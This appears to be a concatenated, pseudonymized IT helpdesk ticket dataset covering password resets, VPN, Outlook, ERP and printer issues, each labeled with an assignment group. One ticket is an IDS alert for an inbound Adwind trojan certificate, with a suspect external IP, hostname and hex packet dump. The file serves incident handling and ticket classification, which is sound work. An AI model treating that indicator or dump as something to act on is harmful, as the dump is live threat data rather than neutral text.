hallo it,
bitte dringend um hilfe, da der lkw bereits hier zur abholung der werkzeuge vor ort steht und dringend ein lieferschein erstellt werden muss!
bitte um klÃ¤rung, danke!
[cid:image001.png@01d20529.8d8000e0]
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: computer name, Description: \_x000D\_
\_x000D\_
received from: koahsriq.wdugqatr@gmail.com\_x000D\_
\_x000D\_
hello all,\_x000D\_
please set the pc name for new laptop windows 7.\_x000D\_
we're in russia office\_x000D\_
, is assigned to Assignment group: GRP\_33.Ticket with Short description: email confirmation to login to hub, Description: email confirmation to login to hub, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook profil / correction of phone number and cell phone number, Description: \_x000D\_
\_x000D\_
received from: byclpwmv.esafrtbh@gmail.com\_x000D\_
\_x000D\_
hello help team,\_x000D\_
\_x000D\_
how can i update below data in outlook. my phone-# and cell-phone-# isn't correct.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( #in33765965 ) : possible adwind malware trojan - rqxl7406113, Description: source ip :10.40.6.221
system name :rqxl8517224
user name:qxhdcnmj caflvjrn(vefghgarr)
location :usa
sep , sms status :no updates
field sales user ( yes / no) : no
dsw event log:see below
=========================================================================================================================
=========================
event data
=========================
related events:
event id: 411230755
event summary: 52046 vid70697 adwind malware ssl certificate detected (inbound)
occurrence count: 173
event count: 1
host and connection information
source ip: 191.101.151.14
source hostname: foreach-rcp.enceinjury.net.
source port: 5000
source ip geolocation: barcelona, esp
destination ip: 10.40.6.221
destination hostname: rqxl8517224
destination port: 58471
connection directionality: incoming
protocol: tcp
device information
device ip: 10.32.100.17
device name: isensor03.company.com
log time: 2016-09-01 at 19:18:48 utc
action: not blocked
vendor eventid: 336126
cvss score: -1
vendor priority: 1
vendor version: 7
scwx event processing information
sherlock rule id (sle): 928535
inspector rule id: 277082
inspector event id: 051975334
ontology id: 200020003203755190
event type id: 200020003203575398
agent id: 102805
event detail:
[\*\*] [1:21163157:1] 52046 vid70697 adwind malware ssl certificate detected (inbound) [\*\*]
[classification: none] [priority: 1] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]
[sensor id: 602982][event id: 336126][time: 2583868639.892461]
[src ip: 191.101.151.14][dst ip: 10.40.6.221][sport/itype: 5000][dport/icode: 58471][proto: 6]
09/01/2016-19:18:48.89246sartlgeo lhqksbdx91.101.151.14:5000 -> 10.40.6.221:58471
tcp ttl:108 tos:0x28 id:4647 iplen:20 dgmlen:1294 df
\*\*\*a\*\*\*\* seq: 0xef831d96 ack: 0x8da0e8db win: 0x103 tcplen: 20
==pcap 1==
[o:security]
ascii packet(s):
==pcap 1 ascii s==
.......w-...........e(...'@.l..".e...(.....g........p...........?...m..w...xos...li....d:.+ti.7u.{..f.m.w......q.3\*..@\.s..o..0..4....c..'..................0...0..w........#..0...\*.h........071.0...u....fr1.0...u....assylias.inc1.0...u....assylias0...150118163720z..21141235163720z071.0...u....fr1.0...u....assylias.inc1.0...u....assylias0...0...\*.h.............0............v.4.........,.n.......3..c@.....w........z.%..^...u\*8.|..#.p......!.8.....c....(.@.e.....b...06......q...p.{...\.tltz....,p.....~o...no.d.zw...^.x<.b-..wh'......6...i...u1..:.)g...6t..b...gb...{.../.p...ac.........s.\.l.\*......=.r)..\_......p.h.........p?..y...d....=z.#4~7<cy;..}.[^'z.w&..p.2..g)?.f.......g,;b.dj..oy..7..j......,.h..."h$......z).=...i.s}....o+^.|.......s..[9..?a......!0.0...u.............u.n....n!z..10...\*.h.............s.d..0.\*..p.\_?....(.qko...2........x~-..to.....|.....\.s.{.........&u..f.#..i...@.hn.1.p.\..7u;.n.....\*}.m....e....]....cn,.....$..i..-.).w....u..h.......c...b.....ik....5..z.h.o.'t.8a6......r.."z0.......k...gt.7#..&s.^.......7{;..7....t..z..4x>...v.l.o.........6...{fn!...)r..p..{..e.....`.g+.....q....i.f...p..o...m....k.&\_.....m.,.&e.....y...j!.m......u..q.................,..z+.w........a.!..........\_...lcbq.g..f............j..h."....%...n8.kd.l.i&.r......g.@......|.@..,...wd..!+e.....u]..@y..
==pcap 1 ascii e==
hex packet(s):
==pcap 1 hex s==
000000 0c00 0000 187f c857 2d9e 0d00 0e05 0000 .......w-.......
000010 0e05 0000 4528 050e 1227 4000 6c06 9022 ....e(...'@.l.."
000020 bf65 970e 0a28 06dd 1388 e467 ef83 1d96 .e...(.....g....
000030 8da0 e8db 5010 0103 0c0c 0000 1603 0306 ....p...........
000040 3f02 0000 4d03 0357 c87f 1258 6f53 9c89 ?...m..w...xos..
000050 876c 69d6 beb5 c164 3ae0 2b74 6916 3755 .li....d:.+ti.7u
000060 0d7b e5ef 6698 6d20 57c8 7f12 d17f f371 .{..f.m.w......q
000070 f233 2a10 bf40 5cc6 73d1 b56f 9b8a 301d .3\*..@\.s..o..0.
000080 1f34 1c1c e397 6391 c027 0000 05ff 0100 .4....c..'......
000090 0100 0b00 0419 0004 1600 0413 3082 040f ............0...
0000a0 3082 0277 a003 0201 0202 041f 239d bd30 0..w........#..0
0000b0 0d06 092a 8648 86f7 0d01 010b 0500 3037 ...\*.h........07
0000c0 310b 3009 0603 5504 0613 0246 523sartlgeo lhqksbdx530 1.0...u....fr1.0
0000d0 1306 0355 040a 130c 6173 7379 6c69 6173 ...u....assylias
0000e0 2e49 6e63 3111 300f 0603 5504 0313 0861 .inc1.0...u....a
0000f0 7373 796c 6961 7330 2017 0d31 3530 3131 ssylias0...15011
000100 3730 3532 3631 395a 180f 3231 3134 3132 8163720z..211412
000110 3234 3035 3236 3139 5a30 3731 0b30 0906 35163720z071.0..
000120 0355 0406 1302 4652 3115 3013 0603 5504 .u....fr1.0...u.
000130 0a13 0c61 7373 796c 6961 732e 496e 6331 ...assylias.inc1
000140 1130 0f06 0355 0403 1308 6173 7379 6c69 .0...u....assyli
000150 6173 3082 01a2 300d 0609 2a86 4886 f70d as0...0...\*.h...
000160 0101 0105 0003 8201 8f00 3082 018a 0282 ..........0.....
000170 0181 00a5 dada b576 0334 83c6 bd9f 93cc .......v.4......
000180 c418 0a2c e74e 1cb0 14eb 870b 9033 9dea ...,.n.......3..
000190 6340 b2f3 19ff 2057 eaeb bda7 10fd 2e99 c@.....w........
0001a0 5afe 259f a35e 8492 f955 2a38 f17c 928d z.%..^...u\*8.|..
0001b0 23dd 70e7 a7eb 0a82 ef21 8a38 9ea4 e7b5 #.p......!.8....
0001c0 b763 8bbb bcb4 2889 4091 45c8 95a8 8583 .c....(.@.e.....
0001d0 4299 b3f0 3036 1d17 de9f c4a2 51dc aa05 b...06......q...
0001e0 501c 7bef aa1e 5c14 546c 745a b4f0 e7b9 p.{...\.tltz....
0001f0 2c50 b518 abca c97e 4f93 d47f 4e6f 7f44 ,p.....~o...no.d
000200 e97a 77c8 8817 5ed8 783c cf42 2def f677 .zw...^.x<.b-..w
000210 6827 11cf 1309 f5b1 3686 b8b4 6920 ca93 h'......6...i...
000220 7531 d9ef 3aeb 2947 9310 9636 54f4 d562 u1..:.)g...6t..b
000230 fa14 9f47 42e4 d7aa 7b04 a19c 2fe3 500a ...gb...{.../.p.
000240 b1d9 6143 e80f 17ed deab 909e 9a73 965c ..ac.........s.\
000250 0c6c ad2a 9df4 8497 14b7 3dca 5229 acc1 .l.\*......=.r)..
000260 5f02 b59b e51c ef50 9f48 95b9 9cfe ae93 \_......p.h......
000270 cfef 0c70 3f81 8f59 8cec 0344 8803 9fb8 ...p?..y...d....
000280 3d7a db23 347e 373c 6379 3b02 867d 0b5b =z.#4~7<cy;..}.[
000290 5e27 5a0d 5726 1ec5 7019 32f0 9147 293f ^'z.w&..p.2..g)?
0002a0 cb46 c296 190f b8dc b367 2c3b 421a 446a .f.......g,;b.dj
0002b0 a2cf 6f59 c08c 3797 d24a a3b1 b094 ee8b ..oy..7..j......
0002c0 2c9d 48a8 c9fc 2268 248e 0c98 8ab9 8b7a ,.h..."h$......z
0002d0 2909 3da0 SID\_53c 6915 737d fcd7 a61d 6f2b ).=...i.s}....o+
0002e0 5e80 7c83 d787 f3f3 8eed 5389 8e5b 3914 ^.|.......s..[9.
0002f0 973f 4102 0301 0001 a321 301f 301d 0603 .?a......!0.0...
000300 551d 0e04 1604 140b f883 9b8e e6af 75a6 u.............u.
000310 6e1c c1e8 d06e 215a 17f1 3130 0d06 092a n....n!z..10...\*
000320 8648 86f7 0d01 010b 0500 0382 0181 0053 .h.............s
000330 1a64 b708 30ae 2aff f050 e15f 3ff6 a9d6 .d..0.\*..p.\_?...
000340 bc28 d471 6b6f 11f5 8932 a8ee b814 d7d9 .(.qko...2......
000350 be80 787e 2SID\_25 d654 4fad e4f6 cfec 7ca1 ..x~-..to.....|.
000360 2e08 eed8 5c18 53cb 7bbf e8f7 0ccf d99e ....\.s.{.......
000370 c4c6 2655 d30f 66ba 23e3 a049 18c6 f740 ..&u..f.#..i...@
000380 f048 6ea3 3188 50e1 5c0b cd37 553b ca4e .hn.1.p.\..7u;.n
000390 f984 94d8 bb2a 7d0b 6dd5 139d f865 ef13 .....\*}.m....e..
0003a0 7fd3 5dc6 e60f 8f63 4e2c 0193 e5ae 1424 ..]....cn,.....$
0003b0 1708 6991 fa2d 9e29 9d57 e98f 8ebd 7515 ..i..-.).w....u.
0003c0 c168 a790 82f9 e7d4 bf63 f387 d142 07c5 .h.......c...b..
0003d0 91fd 8049 4bf4 8fba 8635 0eb9 7a9c 4884 ...ik....5..z.h.
0003e0 6fc1 2774 b638 6136 16ca bfb9 0885 520b o.'t.8a6......r.
0003f0 d322 7a30 c604 0d84 f3ff fd6b 15d5 8967 ."z0.......k...g
000400 74ae 3723 19c4 2673 005e 9bf0 d583 dbe6 t.7#..&s.^......
000410 e637 7b3b 8d8d 3714 de94 1a74 db16 5abb .7{;..7....t..z.
000420 8434 783e cac7 9c76 e44c 916f 8d8a 1bba .4x>...v.l.o....
000430 cd13 d60a ef36 19cf bf7b 464e 211e 0ba3 .....6...{fn!...
000440 2972 9bb2 7016 207b 04b3 65fd 9e8e 0c18 )r..p..{..e.....
000450 6000 672b f5b8 86be c651 ede9 SID\_290 49c2 `.g+.....q....i.
000460 66aa 81bd 50e6 c96f f090 906d b59e 9f98 f...p..o...m....
000470 6b16 265f cf88 99e2 bc4d 862c e826 458d k.&\_.....m.,.&e.
000480 a89f 87a0 79c3 91bb 6a21 894d 8fb7 f084 ....y...j!.m....
000490 a5b7 75ba 0a51 b0c0 1fb0 e49f 9117 8dca ..u..q..........
0004a0 14ac bfda 04c9 d52c e301 5a2b 8f57 ad0c .......,..z+.w..
0004b0 0001 c903 0017 4104 21d8 02b7 9198 e496 ......a.!.......
0004c0 a5a8 185f eb1a a86c 6342 51ca 67c4 a646 ...\_...lcbq.g..f
0004d0 a0bc a8d0 ddb4 c51b 93df e501 4af2 0c48 ............j..h
0004e0 e522 eba8 d89c 25a2 d70c 4e38 cf6b 44eb ."....%...n8.kd.
0004f0 4c90 4926 8352 d1ba 0601 0180 67a4 40cd l.i&.r......g.@.
000500 878b d8f6 c37c d940 ad8c 2ce7 80f5 7764 .....|.@..,...wd
000510 f416 212b 4500 9af4 b5a9 755d f782 4059 ..!+e.....u]..@y
000520 2edb ..
==pcap 1 hex e==, is assigned to Assignment group: GRP\_2.Ticket with Short description: password change , Description: password change , is assigned to Assignment group: GRP\_0.Ticket with Short description: personal device set-up procedure, Description: \_x000D\_
\_x000D\_
received from: uiotbkhs.grymzxiq@gmail.com\_x000D\_
\_x000D\_
team,\_x000D\_
\_x000D\_
please send me a link to the information on how i can set up a personal tablet to receive company email through exchange server.\_x000D\_
\_x000D\_
i have the i.t. ticket completed but i understand i need to set up the tablet before i submit.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: 1192185 is in stock at plant\_249 after finishing production at plant\_248. why isn't there a delivery created to ship this item., Description: 1192185 is in stock at plant\_249 after finishing production at plant\_248. why isn't there a delivery created to ship this item to fill customer backorder? there was previously an issue with the system automatically processing shipments as it should.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: cannot connect to eu vpn from home. need to use it from 8am-2pm while na vpn is down, Description: when clicking "company\_vpn" on the vpn.company website, the new window opens to show network access. after attempting to connect i get error " a connection to the remote computer could not be established, so the port used for this connection was closed", is assigned to Assignment group: GRP\_0.Ticket with Short description: wifi not working , Description: wifi not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access, Description:
received from: qdtywmkv.aolijwnx@gmail.com
i have been given the "to many failed attempts" for logging into erp
have recently changed password checked that it was unlocked in password\_management\_tool and when i tried new one twice without working i tried my old password.
then after not opening came the message of to many failed attempts i need access to erp.
michghytuael t. hardman
maintenance supervisor
qdtywmkv.aolijwnx@gmail.com<mailto:qdtywmkv.aolijwnx@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset alert from o365 for user â€¢ michghytuael.white@company.com , Description: password reset alert from o365 for user â€¢ michghytuael.white@company.com , is assigned to Assignment group: GRP\_0.Ticket with Short description: ooo till friday . crm web access. unable to load page., Description: crm web access. unable to load page., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype audio not working, Description: skype audio not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request from o365 , Description: password reset request from o365 , is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation request , Description: mobile device activation request , is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to login to vpn : account locked out , Description: not able to login to vpn : account locked out , is assigned to Assignment group: GRP\_0.Ticket with Short description: ad account locked out , Description: ad account locked out , is assigned to Assignment group: GRP\_0.Ticket with Short description: printer not working, pc in qa office in germany not getting connected to internet., Description: printer not working, pc in qa office in germany not getting connected to internet.\_x000D\_
\_x000D\_
pc name : \_x000D\_
olympus-SID\_32073 \_x000D\_
\_x000D\_
contact name : 150, 139\_x000D\_
, is assigned to Assignment group: GRP\_42.Ticket with Short description: enterprise search connector forâ€¦ is not working!!, Description: \_x000D\_
\_x000D\_
received from: ucphibmr.dfvkbtsj@gmail.com\_x000D\_
\_x000D\_
enterprise search connector forâ€¦ is not working!!\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d2050b.fa380480]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_11.Ticket with Short description: company distributor\_tool, Description: \_x000D\_
\_x000D\_
received from: pnabslgh.vatpgsxn@gmail.com\_x000D\_
\_x000D\_
hi my name is pnabslgh vatpgsxn.\_x000D\_
pls help me to use company distributor\_tool\_x000D\_
\_x000D\_
\_x000D\_
æœ¬é€šä¿¡ã¯è¨˜è¼‰ã•ã‚ŒãŸäººç‰©ã®ã¿ã‚’å¯¾è±¡ã¨ã—ã¦ä½¿ç”¨ã•ã‚Œã‚‹ã‚‚ã®ã¨ã—ã€ç‰¹æ¨©çš„ã‹ã¤æ©Ÿå¯†æƒ…å ±ã‚’å«ã¿ã€é©ç”¨ã•ã‚Œã‚‹æ³•å¾‹ã«åŸºã¥ã„ãŸæƒ…å ±é–‹ç¤ºã‹ã‚‰é™¤å¤–ã•ã‚Œã‚‹ã‚‚ã®ã¨ã—ã¾ã™ã€‚æ­£å½“ãªå—å–äººä»¥å¤–ã®ã„ã‹ãªã‚‹ç¬¬ä¸‰è€…ã«ã‚ˆã‚‹æœ¬é€šä¿¡ã®é…å¸ƒã€æµé€šã€å†è²©ã¯å›ºãç¦ã˜ã‚‰ã‚Œã¦ã„ã¾ã™ã€‚ã¾ãŸæœ¬é€šä¿¡ãŒèª¤ã£ã¦é€ä¿¡ã•ã‚ŒãŸå ´åˆã¯ã€é€ä¿¡è€…ã«é€£çµ¡ã®ä¸Šã€æœ¬é€šä¿¡ã‚’å‰Šé™¤ã—ã¦ãã ã•ã„ã€‚\_x000D\_
[#+company/posts> [\_x000D\_
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: an prÃ¼fen \ we\_wu113 \ essa presse \ box blinkt dauerhaft \wrcktgbd wzrgyunp, Description: an prÃ¼fen \ we\_wu113 \ essa presse \ box blinkt dauerhaft \wrcktgbd wzrgyunp, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup rechnerf fÃ¼r infostand instandsetzung \niptbwdq csenjruz, Description: setup rechnerf fÃ¼r infostand instandsetzung \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: problem mit bildschirmschoner an den sinic-stationen \jionmpsf wnkpzcmv, Description: problem mit bildschirmschoner an den sinic-stationen \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: externe festplatte zu verfÃ¼gung stellen \alte nobook festplatte \edspmloy fxnkzaqu, Description: externe festplatte zu verfÃ¼gung stellen \alte nobook festplatte \edspmloy fxnkzaqu, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit portal \ghaltiek lsuepvyx, Description: probleme mit portal \ghaltiek lsuepvyx, is assigned to Assignment group: GRP\_24.Ticket with Short description: circuit outage:usa plant,na company-na-usa-usa-plant-static-vpn-4331-rtr02 went down at 04:22 am et on 09/02., Description: what type of outage: \_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_slo site\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_04:22 am et on 09/02.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_primary is active\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_na\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: interface: fastethernet0/27 vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03 is down., Description: interface: fastethernet0/27 Â· vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03.company.com is down , is assigned to Assignment group: GRP\_4.Ticket with Short description: i get warehouse\_toolmails meant for efbwiadp dicafxhv , Description: please check why warehouse\_toolmails for efbwiadp dicafxhv are getting emailed to me. trurthyuft has not received any of the emails. please check attachments., is assigned to Assignment group: GRP\_7.Ticket with Short description: password\_management\_tool password manager login issue, Description: +76
summary:
i tried use password\_management\_tool manager to change password
when i enter new paasword it prompts me no activex
when i click install it give me error, is assigned to Assignment group: GRP\_0.Ticket with Short description: configure shared mailbox, Description: need to add two mailboxes to outlook (still working with outlook 2010) .companyfoundation@kcompany.com and .relations@company.com but doesn't work., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype add in is not showing up in outlook., Description: skype add in is not showing up in outlook. \_x000D\_
also when manually activated., is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation ; company provided., Description: mobile device activation ; company provided., is assigned to Assignment group: GRP\_0.Ticket with Short description: f drive on rqxsm004 is over 85% space consumed. space available: 3.9 gb, Description: volume: f:\ label:dat2-rqxsm004 dc86ed35 on server: rqxsm004 is over 85% space consumed. space available: 3.9 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: ethernet, Description: ethernet not working. only wi-fi., is assigned to Assignment group: GRP\_0.Ticket with Short description: ç­”å¤: 35969737/2032252, Description: \_x000D\_
\_x000D\_
received from: wqzarvhx.hfsojckw@gmail.com\_x000D\_
\_x000D\_
hi, help\_x000D\_
\_x000D\_
pls check item 20, net value in condition table is 17rmb. but shows 34rmb on the view of item overview, pls correct, , is assigned to Assignment group: GRP\_13.Ticket with Short description: outlook not responding , Description: outlook not responding , is assigned to Assignment group: GRP\_0.Ticket with Short description: adoption score card is not visible in crm dynamics : insufficient permission to access, Description: 962
summary:adoption score card is not visible in crm dynamics
user is trying to access crm adoption card for first time., is assigned to Assignment group: GRP\_22.Ticket with Short description: SID\_1 is not working., Description: SID\_1 is not working. \_x000D\_
error : no connection to server., is assigned to Assignment group: GRP\_14.Ticket with Short description: na remote is not working, Description: [â€Ž9/â€Ž2/â€Ž2016 12:06 pm] mhfjudahdyue rfgrhtdy:
hi manjgtiry
[â€Ž9/â€Ž2/â€Ž2016 12:06 pm] dwfiykeo argtxmvcumar3:
hello
[â€Ž9/â€Ž2/â€Ž2016 12:06 pm] mhfjudahdyue rfgrhtdy:
na remote is not working
can you verify
eu remote is working
[â€Ž9/â€Ž2/â€Ž2016 12:07 pm] dwfiykeo argtxmvcumar3:
ok
let me check
[â€Ž9/â€Ž2/â€Ž2016 12:09 pm] mhfjudahdyue rfgrhtdy:
ok
[â€Ž9/â€Ž2/â€Ž2016 12:10 pm] dwfiykeo argtxmvcumar3:
are you getting some error ?
[â€Ž9/â€Ž2/â€Ž2016 12:10 pm] mhfjudahdyue rfgrhtdy:
not able to connect vpn
[â€Ž9/â€Ž2/â€Ž2016 12:11 pm] dwfiykeo argtxmvcumar3:
ok
let me create a ticket
[â€Ž9/â€Ž2/â€Ž2016 12:13 pm] dwfiykeo argtxmvcumar3:
can you try if it is working ?
[â€Ž9/â€Ž2/â€Ž2016 12:13 pm] mhfjudahdyue rfgrhtdy:
eu is working
i am on eu now
[â€Ž9/â€Ž2/â€Ž2016 12:13 pm] dwfiykeo argtxmvcumar3:
ok
this is new asia vpn remote
if you have time just try it
[â€Ž9/â€Ž2/â€Ž2016 12:15 pm] mhfjudahdyue rfgrhtdy:
sure
[â€Ž9/â€Ž2/â€Ž2016 12:16 pm] dwfiykeo argtxmvcumar3:
, is assigned to Assignment group: GRP\_2.Ticket with Short description: sto 5019179518 is for 2 pcs of material 6316883. delivery 9169190868 created for 1 pc., Description: debbie smhdyhti gets an error message , is assigned to Assignment group: GRP\_29.Ticket with Short description: display an festtelefon der nummer 311 im cvd anlagenbereich defekt. telefon bitte erneuern., Description: display an festtelefon der nummer 311 im cvd anlagenbereich defekt. telefon bitte erneuern., is assigned to Assignment group: GRP\_42.Ticket with Short description: could find old email from year 2012 in microsoft outlook, Description: \_x000D\_
\_x000D\_
received from: wsimcqzt.xvwzbdhq@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
only till february 2015 ?\_x000D\_
\_x000D\_
[cid:image001.png@01d204f3.6ecda2a0]\_x000D\_
\_x000D\_
mit freundlichen grugermany / with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation successfully done., Description: mobile device activation successfully done., is assigned to Assignment group: GRP\_0.Ticket with Short description: request for stop/ delete the dtp job in SID\_37, Description: hi team basis,\_x000D\_
\_x000D\_
please stop/ delete the job bidengineering\_tool\_2619536\_1 in SID\_37 system.\_x000D\_
\_x000D\_
the job was triggered to uacyltoe hxgaycze the value of one of the complaint cube transaction in bw system. as the result is found, hence please stop the respective job.\_x000D\_
\_x000D\_
email is sent to team.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_14.Ticket with Short description: not able to connect to outlook - getting security alert about security certificate, Description: \_x000D\_
not able to connect to out look- please see the screen shot and do needful., is assigned to Assignment group: GRP\_34.Ticket with Short description: sd\_sales\_order\* jobs abended in job\_scheduler due to "logon of user coferte in client 120 failed when starting a step", Description: sd\_sales\_order\* jobs abended in job\_scheduler due to "logon of user coferte in client 120 failed when starting a step", is assigned to Assignment group: GRP\_5.Ticket with Short description: access to run-books (dot net and plm solutioning) , Description: hi,
kindly usa pagthyuathy afghtyjith , userid "vvdfgtyuji" access to run-books(dot net and plm solutioning).
, is assigned to Assignment group: GRP\_16.Ticket with Short description: stock issue for mm 1113198, Description: hello christgrytoph\_x000D\_
\_x000D\_
this kind situation came up again, i'm wondering, is it a good way to run the dn? \_x000D\_
please see the screen below, , is assigned to Assignment group: GRP\_29.Ticket with Short description: material issue, Description: now, the quantity changed to 3pcs, seems not solved yet.
rofgtyger liugh
from: judthti zhu
sent: friday, august 26, 2016 2:48 pm
to: nwfodmhc exurcwkm
cc: rofgtyger liugh
subject: material issue
dear teamï¼Œ
we once shipped a subcontract order on jul 21th,
po#5616690206
rough material#2224208\*10pcs
movement type:541
but its corresponding end product mm#6004236 still exists in erp,pls. help to check the root cause,thx!
b.rgds
judthtihty.zhuyhts
company hardpoint apac-wgq dc
, is assigned to Assignment group: GRP\_29.Ticket with Short description: request in behalf of jvxtfhkg heptuizn, Description: \_x000D\_
\_x000D\_
received from: ecwtrjnq.jpecxuty@gmail.com\_x000D\_
\_x000D\_
hello collegues,\_x000D\_
\_x000D\_
jvxtfhkg heptuizns iphone calendar is only synchronizing in one direction.\_x000D\_
\_x000D\_
if he does a calendar entry in his outlook on the computer, it synchs tot he iphone calendar,\_x000D\_
if he enters one on the iphone, it is not synchronized to the outlook.\_x000D\_
\_x000D\_
would you please be so kind and help us regarding this issue.\_x000D\_
\_x000D\_
many , is assigned to Assignment group: GRP\_0.Ticket with Short description: pagthyuathy afghtyjith - access to dot kt folders (\\HostName\_29) , Description: hi,\_x000D\_
\_x000D\_
kindly usa access to pagthyuathy afghtyjith our new intern of dot net team.\_x000D\_
her userid is "vvdfgtyuji".\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: job SID\_30hotf failed in job\_scheduler at: 09/02/2016 00:51:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_30hotf failed in job\_scheduler at: 09/02/2016 00:51:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: reset passwords for qycgdfhz iqshzdru using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: access for tablearu-top customers, Description: \_x000D\_
\_x000D\_
received from: ufesrwmz.egujslwx@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
to prepare for monthly inf mbr report, i need access to run top customer &end markhtyets in reporting\_tool, it will be put in month inf mbr report. it is quite urgent now.\_x000D\_
#/site/certified\_content/views/mbrreporting\_engineering\_tool/topcustomersendmarkhtyets?:iid=1<\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: configure e6430 unit for standard login for product videos display, Description: \_x000D\_
\_x000D\_
received from: kbclinop.vsczklfp@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
for your information and reference only. i have requested help from it to set up a standard login for a spare laptop for company product videos to be display on tv â€“ at our office main entrance.\_x000D\_
configuration completed by sridhar.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: printer problem / issue information , Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) prtor00u on HostName\_1224 - prtor003 on HostName\_1224 - prtor0040 on HostName\_1224 \_x000D\_
\_x000D\_
â€¢ detailed description of the problem ? will not print because drviers need updated - i updated the drivers but it states error processing \_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) all\_x000D\_
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc)\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? (ex windows / erp /kls) outlook\_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? no\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm)\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_38hotf failed in job\_scheduler at: 09/01/2016 22:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_38hotf failed in job\_scheduler at: 09/01/2016 22:20:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_38hotf failed in job\_scheduler at: 09/01/2016 22:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
